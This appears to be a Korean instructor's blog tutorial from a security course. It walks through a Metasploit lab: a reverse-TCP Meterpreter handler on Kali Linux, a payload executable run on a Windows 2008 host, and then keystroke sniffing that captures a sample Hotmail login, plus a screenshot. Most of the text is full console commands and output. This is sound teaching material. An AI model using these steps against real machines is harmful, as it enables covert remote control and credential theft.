정보보안(구버전)/Metasploit 2016. 6. 7. 11:22

Metasploit - 11. 취약점 발견 및 공격 (키보드 스니핑 & 스크린샷)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

[실습 시스템] Kali Linux, Firewall, Window2008

 

 

 - Reverse TCP를 이용하여 Window2008 제어권을 획득한 이후, 키보드 스니핑 및 스크린샷이 되는지 테스트한다.

 

 

[실습 단계]

 

스캔 -> 공격 타겟 선정 -> 백도어 구성 -> 공격 코드 파일 생성 -> 공격 타겟에 공격 코드 파일 유입 실시

 

-> 백도어 실행 -> 공격 코드 파일 실행 -> 제어권 획득 -> 키보드 스니핑 및 스크린샷 실시

 

 

 

Ex1) 백도어 'reverse_resource.rc' 실행

 

@ Kali Linux

 

root@kali:~# cd /root/bin

root@kali:~/bin# msfconsole -r reverse_resource.rc
                                                 
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

[*] Processing reverse_resource.rc for ERB directives.
resource (reverse_resource.rc)> use exploit/multi/handler
resource (reverse_resource.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
resource (reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.20.50:4444


[*] Starting the payload handler...
msf exploit(handler) >

 

 

 

 

Ex2) Window2008 'reverse.exe' 공격 코드(악성 코드) 실행

 

@ Window2008

 

 

 

 

 

 

Ex3) 백도어 'reverse_resource.rc' 상태 확인

 

 - Window2008이 Kali Linux에 연결되었는지 확인한다.

 

@ Kali Linux

 

msf exploit(handler) >

[*] Sending stage (1188911 bytes) to 192.168.20.201
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.201:1033) at 2016-06-07 11:20:43 +0900

 

msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x64/win64  WIN2008\Administrator @ WIN2008  192.168.20.50:4444 -> 192.168.20.201:1033 (192.168.20.201)

 

 

 - Window2008 제어권 획득 실시

 

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

 

meterpreter > sysinfo
Computer        : WIN2008
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/win64

 

 

 

 

Ex4) 키보드 스니핑 및 스크린샷 실시

 

@ Kali Linux

 

meterpreter > enumdesktops
Enumerating all accessible desktops

Desktops
========

    Session  Station  Name
    -------  -------  ----
    1        WinSta0  Default
    1        WinSta0  Winlogon

 

meterpreter > setdesktop
Changed to desktop WinSta0\Default

 

 

meterpreter > getdesktop
Session 1\WinSta0\Default

 

 

meterpreter > keyscan_start
Starting the keystroke sniffer...

 

@ Window2008

 

 - Internet Explorer를 이용하여 'http://www.hotmail.com' 접속 실시 및 로그인
 - 로그인 정보 (abcd@test.com/abcd1234)

 

 

@ Kali Linux

 

meterpreter > keyscan_dump
Dumping captured keystrokes...
www.hotmail.com <Return> abcd@test.com <Tab> abcd1234

 

meterpreter > keyscan_stop
Stopping the keystroke sniffer...

 

meterpreter > screenshot
Screenshot saved to: /root/bin/KzQHwZKd.jpeg

 

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.20.201 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) >
msf exploit(handler) > exit
root@kali:~/bin#
root@kali:~/bin# ls
KzQHwZKd.jpeg  dnmap.txt             nmap_results  reverse.exe
desktop.ini    dnmap.txt.dnmaptrace  ping.sh       reverse_resource.rc

root@kali:~/bin# cd
root@kali:~#

 

 

 - '/root/bin/KzQHwZKd.jpeg' 스크린샷 확인

 

 

 

 

 

 

[참고] 키보드 스니핑 & 스크린샷 명령어

 

meterpreter > help
~ 중간 생략 ~

 

Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components
~ 중간 생략 ~

 

 

 명령어

내용 

 enumdesktops

 접근 가능한 데이크톱과 윈도우 스테이션 전체 목록 확인

 getdesktop

 메타프리터 세션으로 연결된 사용자 시스템의 데스크톱 확인

 keyscan_dump

 메타프리터 데스크톱 세션의 키보드 동작을 저장 실시

 keyscan_start

 메타프리터 세션으로 연결된 스테이션에서 키보드 스니핑 시작

 keyscan_stop

 메타프리터 세션으로 연결된 스테이션에서 키보드 스니핑 종료

 screenshot

 데스크톱 스크린샷 실시

 setdesktop

 메타프리터 세션으로 연결된 데스크톱에서 다른 데스크톱 스테이션으로 변경

 

 

 

 

[참고] Window Destop 구조 (각각의 desktop은 키보드 버퍼를 갖고 있음)

 

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


Metasploit - 제1장 메타스플로잇 (metaspliot)   

 

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q